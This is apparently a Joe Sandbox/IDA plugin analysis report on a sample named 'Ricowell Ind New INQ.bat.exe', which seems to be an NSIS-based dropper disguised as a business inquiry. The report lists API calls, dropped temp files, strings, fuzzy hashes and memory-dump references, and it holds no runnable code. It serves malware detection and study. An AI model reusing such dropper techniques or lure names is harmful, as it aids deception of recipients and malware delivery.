Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
API String ID: 3751793516-3196852835
Opcode ID: 2a622bc09443ca50187ba2ee159019b7cd2e59548df6293550867165e211735f
Instruction ID: decf54c0780f34986dcb1f6dc2400c6331eb5c21fa926316ee50895bb5337331
Opcode Fuzzy Hash: 2a622bc09443ca50187ba2ee159019b7cd2e59548df6293550867165e211735f
Instruction Fuzzy Hash: CE11E931908150ABDB217F755D4496F67B4EA62365728473FF891B22D2C23C4D42E62E

Function 004059F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405A0A
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A24

Strings

nsa, xrefs: 00405A01
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 004059F6
C:\Users\user\AppData\Local\Temp\, xrefs: 004059F9, 004059FD

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4088417911
Opcode ID: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction ID: 2f7b9810ed7c5924072585cf2130ed1295747d9915b618abfa336aedeca5813d
Opcode Fuzzy Hash: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction Fuzzy Hash: C1F0E2327482487BDB008F1ADC44B9B7B9CDF91710F00C03BF904AA280D2B0A8008B68

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 1000258D: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FF

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: cd3a49c7226bd267e48e570e062e78a21ab1dc0dccc3f926e80528383bd8a00b
Instruction ID: 946e86dc2be410c0748ecba0c1d48508df540d87c222276c6f0f58241c559a10
Opcode Fuzzy Hash: cd3a49c7226bd267e48e570e062e78a21ab1dc0dccc3f926e80528383bd8a00b
Instruction Fuzzy Hash: C5318B79408205DAFB41DF649CC5BCA37ECFB042D5F018465FA0A9A09ADF78A8458A60

Function 0040303A Relevance: 6.1, APIs: 4, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040304F

Part of subcall function 004031CC: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000), ref: 00403082
WriteFile.KERNELBASE(0040A8A0,0040FBC1,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?), ref: 0040313C
SetFilePointer.KERNELBASE(0013656A,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB), ref: 0040318E

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID:
API String ID: 2146148272-0
Opcode ID: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction ID: 01a25493adf58fb9a894681412e440a2e883d4234beea4965eba9eb13e735820
Opcode Fuzzy Hash: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction Fuzzy Hash: CC414F725052019FDB10BF29EE849663BFCFB4431A715863BE810BA2E4D7389D52CB5E

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 5319e110b6e8a5b1d5967b6e1ac55a36922c91fdf13baa78a076f75be2177e55
Instruction ID: 23a464ffe6ca8440643a385a127484fd4ee8ad6b227fb7efa4d26ad3fc5b3ac3
Opcode Fuzzy Hash: 5319e110b6e8a5b1d5967b6e1ac55a36922c91fdf13baa78a076f75be2177e55
Instruction Fuzzy Hash: D7210872904211BACF107FA48E49A6E39B0AB44358F60823BF601B62D1D7BC4941AA6E

Function 004024D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024EF
WriteFile.KERNELBASE(00000000,?,C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040250E

Strings

C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll, xrefs: 004024DD, 00402502

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll
API String ID: 427699356-411915288
Opcode ID: 7a3ba9340afd46c78bea2cb4cb31887ebc91b7920a860de9f64b3c7245c284d2
Instruction ID: 4826b5ec7f58a8945af1d05ae4e09a11cd1e532a13e769836b40841c5f4177c7
Opcode Fuzzy Hash: 7a3ba9340afd46c78bea2cb4cb31887ebc91b7920a860de9f64b3c7245c284d2
Instruction Fuzzy Hash: 80F054B2A54244BFDB40ABA19E499EB66A4DB40309F10443FB141F61C2D5BC4941A66A

Function 004054E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421500,Error launching installer), ref: 0040550E
CloseHandle.KERNEL32(?), ref: 0040551B

Strings

Error launching installer, xrefs: 004054F8

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction ID: 0ae392a05d3974bec86de51aa2f8a5c28ff0ee3cdd976454f3eed0d5dd72dd2a
Opcode Fuzzy Hash: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction Fuzzy Hash: 2BE0BFB4A00209BFEB109FA4ED05F7B76ADEB14745F508561BD11F2160E774A9108A79

Function 004031E3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040601B

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 00403204

Strings

1033, xrefs: 0040320B
C:\Users\user\AppData\Local\Temp\, xrefs: 004031E4, 004031E9, 004031EF, 004031FB, 00403203, 0040320A

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-1726532035
Opcode ID: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction ID: 89773af62672bbf6302d30782f314b1c1bc42d6855f09756152acd8bf908297a
Opcode Fuzzy Hash: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction Fuzzy Hash: 24D0C71290AD3066D5513B6A7C46FCF050C8F4675DF11807BF904751C58F6C555395EF

Function 00406745 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction ID: d3f30c549e8eaa155af2d8805db43d359078549a114e1d1e4cfdde4495a9482f
Opcode Fuzzy Hash: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction Fuzzy Hash: 13A14471E00228CBDF28DFA8C8447ADBBB1FB45305F15816ED816BB281D7785A96DF44

Function 00406946 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction ID: 66af66db22d428e7cee4185570621c0262e28a8f97ef0091af547b150b1cef7f
Opcode Fuzzy Hash: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction Fuzzy Hash: 7F912170E00228CBDF28DF98C8947ADBBB1FB45305F15816ED816BB281C7786A96DF44

Function 0040665C Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction ID: 36158da5dd70985ab85e2c4d41886ca33cae813362c0b87a96f868d92fb05337
Opcode Fuzzy Hash: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction Fuzzy Hash: 65815771D00228CFDF24CFA8C8847ADBBB1FB45305F25816AD816BB281D778A996DF15

Function 00406161 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction ID: 1715bfb1c3d5716620224504c503b3d15fe2aa0a2bbcc08a305e6ffc6cb4203b
Opcode Fuzzy Hash: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction Fuzzy Hash: 53817771D00228DBDF24CFA8C8447ADBBB0FB44301F2581AED856BB281D7786A96DF45

Function 004065AF Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction ID: 032b7c8430df6362c90b97cb5f8c3133674bcd2d0f853081a3cdcc23126a0f5c
Opcode Fuzzy Hash: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction Fuzzy Hash: 87711371D00228CFDF24CF98C8847ADBBB1FB48305F15806AD816BB281D7785996DF45

Function 004066CD Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction ID: 3e9dbefe820a1d4baf734be7fb741bb2fb66d8e6f9ed59188b506b6c9edb630d
Opcode Fuzzy Hash: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction Fuzzy Hash: AB711371E00228CBDF28CF98C884BADBBB1FB44305F15816ED816BB281D7786996DF45

Function 00406619 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction ID: 1812ff5f5430a706778d8acc512246fd3c212bc7acfdfbe5d0fa3af8c8d1a12f
Opcode Fuzzy Hash: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction Fuzzy Hash: AD712471E00228CBDF28DF98C844BADBBB1FB44305F15806ED856BB291C7786A96DF45

Function 00402F1F Relevance: 4.6, APIs: 3, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000,00409130,?), ref: 00402F45
